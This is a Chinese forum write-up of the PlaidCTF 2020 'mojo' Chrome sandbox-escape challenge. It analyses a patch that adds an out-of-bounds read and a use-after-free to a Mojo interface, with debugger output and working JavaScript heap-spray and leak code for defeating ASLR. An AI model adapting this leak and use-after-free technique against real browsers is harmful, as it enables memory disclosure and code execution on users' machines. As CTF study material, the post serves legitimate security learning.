首页
社区
课程
招聘
沙箱逃逸之plaidctf 2020 mojo writeup
发表于: 2022-12-12 02:29 19906

沙箱逃逸之plaidctf 2020 mojo writeup

2022-12-12 02:29
19906

最近想看看chrome沙箱逃逸,从plaidctf 2020mojo开始。

题目附件内容如下所示:

Dockerfile的内容知道,启动chrome的命令如下所示,参数$1是要访问的链接。--headless表示不启动图形界面对页面进行解析;--enable-blink-features表示启用一个或多个启用Blink内核运行时的功能,在这里启用了MojoJSmojojs api

重点要分析的是plaidstore.diff,它是出题人对于chromepatch

直接去看plaidstore.diff来尝试寻找漏洞,它添加了一个新的interface。先看plaidstore.mojom定义的interfaceinterface中定义了StoreData以及GetData两个函数。

来看interfacebrowser端的实现,如下所示。两个函数还没有具体实现,可以看到有两个私有成员变量render_frame_host_以及data_store_

整个interface的实现引入了两个漏洞,分别是oob已经uaf漏洞,下面来逐个进行解析。

GetData以及StoreData函数的实现如下所示。StoreDate会将data存入到data_store_[key]当中,GetData函数会尝试在data_store_中找到对应的key所存储的值,并拷贝出count大小的数据。

oob越界读漏洞存在于GetData的实现当中,可以看到它没有对count进行限制,导致可以越界读取对应数据后任意大小的值并泄露出来。

一个render进程里的RenderFrame,对应到browser进程里的一个RenderFrameHost。打开一个新的tab,或者创建一个iframe的时候,都对应创建出一个新的RenderFrameHost对象。

可以看到在初始化的时候会将render_frame_host指针保存在render_frame_host_中。但是理论上来说,interface是不应该直接存储render_frame_host指针的,如果需要使用,也应该使用RenderFrameHost::FromID(int render_process_id, int render_frame_id)的方式来获取相应的对象。

同时接口的实现还调用MakeSelfOwnedReceiver函数将把Mojo管道的一端 Receiver和当前PlaidStoreImpl实例绑定,只有当Mojo管道关闭或者发生异常, Receiver 端与当前实例解绑,此时的PlaidStoreImpl相关内存数据才会释放。

MakeSelfOwnedReceiver函数的定义如下所示。

上面的代码也就意味着当mojo pipe不关闭时,PlaidStoreImpl对象不会释放,也就意味着仍然可以使用render_frame_host_指针。然而PlaidStoreImpl对象并没有与WebContent绑定,我们关闭tab或者销毁iframe 时,PlaidStoreImpl对象是不会被释放的。但是在关闭tab或者销毁iframe时,会释放对应的render_frame_host对象,此时我们仍然可以使用PlaidStoreImpl对象中的render_frame_host_去使用该内存,导致了uaf漏洞的形成。后续若仍然调用调用PlaidStoreImpl接口中的GetDataStoreData函数,会调用render_frame_host_->IsRenderFrameLive()代码,就触发了uaf漏洞。

先说说调试的问题,因为chrome是多进程程序,我们的目标是对mojo通信的receiver端(browser进程进行利用),因此主要是对启动的父进程进行调试。

调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http,而访问本地文件的协议是file

因此先在本地对应的exp文件目录下(需要将mojo_js路径和pwn.html放在一级目录下)启动一个web服务:

debug.sh内容如下。在启动的参数中加入了--user-data-dir参数是为了在terminal中输出对应的console.log信息。

gdb -x debug.sh即可启动调试。

因为开启了mojo js binding,因为可以直接在render端使用js代码来进行通信,示例如下所示:

头两句是要引入的头文件,blink.mojom.PlaidStore.getRemote则是对remote端进行绑定。使用await的理由是因为是从render进程发送给browser进程,需要等待,所以要使用await,不然可能会获取不到数据。

首先搞清楚越界读读的目标是什么,就要搞清楚越界读所发生的区域在哪里,这些区域存储了些什么有用的数据。

因为data_store_指针存储在PlaidStoreImpl对象当中,所以先看PlaidStoreImpl的创建以及调用StoreData函数之后的内存布局。

断点下在PlaidStoreImpl::Create函数,看PlaidStoreImpl对象申请的空间,

0x55555ac584b0new函数,可以跟进去该函数然后用frame命令确定。

因此可以确定PlaidStoreImpl对象大小为0x28,也可以看到后面虚表指针以及render_frame_host的赋值,最终形成的内存布局如下:

再看p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)执行完成后的内存布局,如下所示:

可以看到我们能够越界读取的数据0x0000284976881e10所属的地址空间和PlaidStoreImpl对象所属的地址空间是同一片区域,这样就使得如果在存储的数据后部署多个PlaidStoreImpl对象,那么就可以通过越界读取PlaidStoreImpl对象中的数据。

因为PlaidStoreImpl对象中有虚表指针以及render_frame_host_指针,我们就可以越界读把这些数据读出来,最终构造出来的代码如下。要提一个技巧就是搜寻地址是虚表指针因页对齐低三位地址以及高位都是确定的,通过这个方法可以大概率找到对象。

uaf漏洞利用则主要是通过在代码中构建frame,并将frame中的PlaidStoreImpl对象返回,然后关闭frame释放render_frame_host指针,最后使用PlaidStoreImpl对象来使用render_frame_host_来实现uaf

先要搞清楚render_frame_host对象的大小,该对象由RenderFrameHostFactory类实现,可以通过下面的断点来看该对象的大小,可以看到对象大小为0xc28

再来看看怎么触发uaf,主要步骤包括:

理论上最终storeData函数在执行render_frame_host_->IsRenderFrameLive()的时候,虚表指针已经被覆盖成了0x414141410x41414141会导致访存错误。

实际运行结果如下,可以看到会尝试调用call [rax+0x160],是代码render_frame_host_->IsRenderFrameLive()的实现,我们所申请的内存成功控制了对象,并且数据可控rip

有了对上面两个漏洞的理解,最终利用也就呼之欲出了,代码如下所示,主要流程是:

最终弹出个计算器,开心。
poc

第一次调mojo的洞,掌握了沙箱逃逸的大致原理,有了一个略模糊的概念,感觉还蛮有意思,因为对mojo的机制没有太搞明白,所以这里就不讲基础了,只对漏洞进行利用,后面搞得更清楚以后再进行分析。

$ ls
Dockerfile      chrome.zip      flag_printer    mojo_js.zip     plaidstore.diff run.sh          server.py       visit.sh
$ ls
Dockerfile      chrome.zip      flag_printer    mojo_js.zip     plaidstore.diff run.sh          server.py       visit.sh
timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"
timeout 20 ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest "$1"
+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+  // Stores data in the data store
+  StoreData(string key, array<uint8> data);
+
+  // Gets data from the data store
+  GetData(string key, uint32 count) => (array<uint8> data);
+};
+++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom
@@ -0,0 +1,11 @@
+module blink.mojom;
+
+// This interface provides a data store
+interface PlaidStore {
+
+  // Stores data in the data store
+  StoreData(string key, array<uint8> data);
+
+  // Gets data from the data store
+  GetData(string key, uint32 count) => (array<uint8> data);
+};
+++ b/content/browser/plaidstore/plaidstore_impl.h
@@ -0,0 +1,35 @@
+#include <string>
+#include <vector>
+
+#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h"
+
+namespace content {
+
+class RenderFrameHost;
+
+class PlaidStoreImpl : public blink::mojom::PlaidStore {
+ public:
+  explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);
+
+  static void Create(
+      RenderFrameHost* render_frame_host,
+      mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
+
+  ~PlaidStoreImpl() override;
+
+  // PlaidStore overrides:
+  void StoreData(
+      const std::string &key,
+      const std::vector<uint8_t> &data) override;
+
+  void GetData(
+      const std::string &key,
+      uint32_t count,
+      GetDataCallback callback) override;
+
+ private:
+  RenderFrameHost* render_frame_host_;
+  std::map<std::string, std::vector<uint8_t> > data_store_;
+};
+
+} // namespace content
+++ b/content/browser/plaidstore/plaidstore_impl.h
@@ -0,0 +1,35 @@
+#include <string>
+#include <vector>
+
+#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h"
+
+namespace content {
+
+class RenderFrameHost;
+
+class PlaidStoreImpl : public blink::mojom::PlaidStore {
+ public:
+  explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);
+
+  static void Create(
+      RenderFrameHost* render_frame_host,
+      mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
+
+  ~PlaidStoreImpl() override;
+
+  // PlaidStore overrides:
+  void StoreData(
+      const std::string &key,
+      const std::vector<uint8_t> &data) override;
+
+  void GetData(
+      const std::string &key,
+      uint32_t count,
+      GetDataCallback callback) override;
+
+ private:
+  RenderFrameHost* render_frame_host_;
+  std::map<std::string, std::vector<uint8_t> > data_store_;
+};
+
+} // namespace content
 
+void PlaidStoreImpl::StoreData(
+    const std::string &key,
+    const std::vector<uint8_t> &data) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    return;
+  }
+  data_store_[key] = data;
+}
+
+void PlaidStoreImpl::GetData(
+    const std::string &key,
+    uint32_t count,
+    GetDataCallback callback) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    std::move(callback).Run({});
+    return;
+  }
+  auto it = data_store_.find(key);
+  if (it == data_store_.end()) {
+    std::move(callback).Run({});
+    return;
+  }
+  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+  std::move(callback).Run(result);
+}
+void PlaidStoreImpl::StoreData(
+    const std::string &key,
+    const std::vector<uint8_t> &data) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    return;
+  }
+  data_store_[key] = data;
+}
+
+void PlaidStoreImpl::GetData(
+    const std::string &key,
+    uint32_t count,
+    GetDataCallback callback) {
+  if (!render_frame_host_->IsRenderFrameLive()) {
+    std::move(callback).Run({});
+    return;
+  }
+  auto it = data_store_.find(key);
+  if (it == data_store_.end()) {
+    std::move(callback).Run({});
+    return;
+  }
+  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
+  std::move(callback).Run(result);
+}
 
+PlaidStoreImpl::PlaidStoreImpl(
+    RenderFrameHost *render_frame_host)
+    : render_frame_host_(render_frame_host) {}
+PlaidStoreImpl::PlaidStoreImpl(
+    RenderFrameHost *render_frame_host)
+    : render_frame_host_(render_frame_host) {}
+void PlaidStoreImpl::Create(
+    RenderFrameHost *render_frame_host,
+    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+                              std::move(receiver));
+}
+void PlaidStoreImpl::Create(
+    RenderFrameHost *render_frame_host,
+    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
+  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
+                              std::move(receiver));
+}
Binds the lifetime of an interface implementation to the lifetime of the Receiver. When the Receiver is disconnected (typically by the remote end closing the entangled Remote), the implementation will be deleted.
Binds the lifetime of an interface implementation to the lifetime of the Receiver. When the Receiver is disconnected (typically by the remote end closing the entangled Remote), the implementation will be deleted.
 
 
python -m SimpleHTTPServer
python -m SimpleHTTPServer
# set file and read symbol
file ./chrome
# set start parameter
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS http://127.0.0.1:8000/pwn.html
# set follow-fork-mode
set follow-fork-mode parent
# just run
r
# set file and read symbol
file ./chrome
# set start parameter
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS http://127.0.0.1:8000/pwn.html
# set follow-fork-mode
set follow-fork-mode parent
# just run
r
 
<script src="./mojo/public/js/mojo_bindings.js"></script>
<script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
      async function test() {
          let p = blink.mojom.PlaidStore.getRemote(true);
          await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
    }
      test()
</script>
<script src="./mojo/public/js/mojo_bindings.js"></script>
<script src="./third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
<script>
      async function test() {
          let p = blink.mojom.PlaidStore.getRemote(true);
          await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
    }
      test()
</script>
 
 
    0x5555591ac4a3    mov    edi, 0x28
0x5555591ac4a8    call   0x55555ac584b0 <0x55555ac584b0>
 
  0x5555591ac4ad    lea    rcx, [rip + 0x635e2ec]
  0x5555591ac4b4    mov    qword ptr [rax], rcx      ; 赋值虚表指针
  0x5555591ac4b7    mov    qword ptr [rax + 8], rbx  ; 赋值render_frame_host指针
  0x5555591ac4bb    lea    rcx, [rax + 0x18]
    0x5555591ac4a3    mov    edi, 0x28
0x5555591ac4a8    call   0x55555ac584b0 <0x55555ac584b0>
 
  0x5555591ac4ad    lea    rcx, [rip + 0x635e2ec]
  0x5555591ac4b4    mov    qword ptr [rax], rcx      ; 赋值虚表指针
  0x5555591ac4b7    mov    qword ptr [rax + 8], rbx  ; 赋值render_frame_host指针
  0x5555591ac4bb    lea    rcx, [rax + 0x18]
pwndbg> frame
#0  0x000055555ac584b0 in operator new(unsigned long, std::nothrow_t const&) ()
pwndbg> frame
#0  0x000055555ac584b0 in operator new(unsigned long, std::nothrow_t const&) ()
pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0      0x000028497640bd00   ; vtable | render_frame_host_
0x284976549f40: 0x0000284976549f48      0x0000000000000000   ; data_store_
0x284976549f50: 0x0000000000000000      0x0000000000000000
 
pwndbg> vmmap 0x284976549f30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x28497627a000     0x284976979000 rw-p   6ff000 0       +0x2cff30
pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0      0x000028497640bd00   ; vtable | render_frame_host_
0x284976549f40: 0x0000284976549f48      0x0000000000000000   ; data_store_
0x284976549f50: 0x0000000000000000      0x0000000000000000
 
pwndbg> vmmap 0x284976549f30
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x28497627a000     0x284976979000 rw-p   6ff000 0       +0x2cff30
pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0      0x000028497640bd00
0x284976549f40: 0x00002849765f5b40      0x00002849765f5b40
0x284976549f50: 0x0000000000000001      0x0000000000000000
pwndbg> x/10gx 0x00002849765f5b40
0x2849765f5b40: 0x0000000000000000      0x0000000000000000
0x2849765f5b50: 0x0000284976549f48      0x000055555824ff01
0x2849765f5b60: 0x0000007878787878      0x0000000000000000
0x2849765f5b70: 0x0500000000000000      0x0000284976881e10
0x2849765f5b80: 0x0000284976881e38      0x0000284976881e38
pwndbg> x/s 0x2849765f5b60
0x2849765f5b60: "xxxxx"
pwndbg> x/s 0x0000284976881e10
0x284976881e10: 'A' <repeats 40 times>
 
pwndbg> vmmap 0x0000284976881e10
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x28497627a000     0x284976979000 rw-p   6ff000 0       +0x607e10
pwndbg> x/6gx 0x284976549f30
0x284976549f30: 0x000055555f50a7a0      0x000028497640bd00
0x284976549f40: 0x00002849765f5b40      0x00002849765f5b40
0x284976549f50: 0x0000000000000001      0x0000000000000000
pwndbg> x/10gx 0x00002849765f5b40
0x2849765f5b40: 0x0000000000000000      0x0000000000000000
0x2849765f5b50: 0x0000284976549f48      0x000055555824ff01
0x2849765f5b60: 0x0000007878787878      0x0000000000000000
0x2849765f5b70: 0x0500000000000000      0x0000284976881e10
0x2849765f5b80: 0x0000284976881e38      0x0000284976881e38
pwndbg> x/s 0x2849765f5b60
0x2849765f5b60: "xxxxx"
pwndbg> x/s 0x0000284976881e10
0x284976881e10: 'A' <repeats 40 times>
 
pwndbg> vmmap 0x0000284976881e10
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x28497627a000     0x284976979000 rw-p   6ff000 0       +0x607e10
 
async function Leak()
{
    let plaidStorePtrList = [];
    for(let i=0; i<0x200; i++) {
        let p = blink.mojom.PlaidStore.getRemote(true);
        await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
        plaidStorePtrList.push(p);
    }
    let p = plaidStorePtrList[0];
    let leakData = (await p.getData("xxxxx", 0x2000)).data
    let u8 = new Uint8Array(leakData)
    let u64 = new BigInt64Array(u8.buffer);
    let vtableAddr = 0;
    for(let i=0x28/8; i<u64.length; i++) {
        let highAddr = u64[i]&BigInt(0xf00000000000)
        let lowAddr = u64[i]&BigInt(0x000000000fff)
        if((highAddr == BigInt(0x500000000000)) && lowAddr == BigInt(0x7a0)) {
            vtableAddr = u64[i];
            renderFrameHostAddr = u64[i+1];
            break;
        }
 
    }
 
    if(vtableAddr == 0 ) {
        console.log("[-] no vaild addr found");
        return;
    }
    chromeBaseAddr = vtableAddr - BigInt(0x9fb67a0);
    console.log("[+] leak chrome base addr: "+hex(chromeBaseAddr));
    console.log("[+] leak reander frame host addr: "+hex(renderFrameHostAddr));
}
Leak();
async function Leak()
{
    let plaidStorePtrList = [];
    for(let i=0; i<0x200; i++) {
        let p = blink.mojom.PlaidStore.getRemote(true);
        await(p.storeData("xxxxx", new Uint8Array(0x28).fill(0x41)));
        plaidStorePtrList.push(p);
    }
    let p = plaidStorePtrList[0];
    let leakData = (await p.getData("xxxxx", 0x2000)).data
    let u8 = new Uint8Array(leakData)
    let u64 = new BigInt64Array(u8.buffer);
    let vtableAddr = 0;
    for(let i=0x28/8; i<u64.length; i++) {
        let highAddr = u64[i]&BigInt(0xf00000000000)
        let lowAddr = u64[i]&BigInt(0x000000000fff)
        if((highAddr == BigInt(0x500000000000)) && lowAddr == BigInt(0x7a0)) {
            vtableAddr = u64[i];
            renderFrameHostAddr = u64[i+1];
            break;
        }
 
    }
 
    if(vtableAddr == 0 ) {
        console.log("[-] no vaild addr found");
        return;
    }
    chromeBaseAddr = vtableAddr - BigInt(0x9fb67a0);

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 393
活跃值: (2667)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
最后张图裂了
2022-12-12 15:28
0
游客
登录 | 注册 方可回帖
返回
//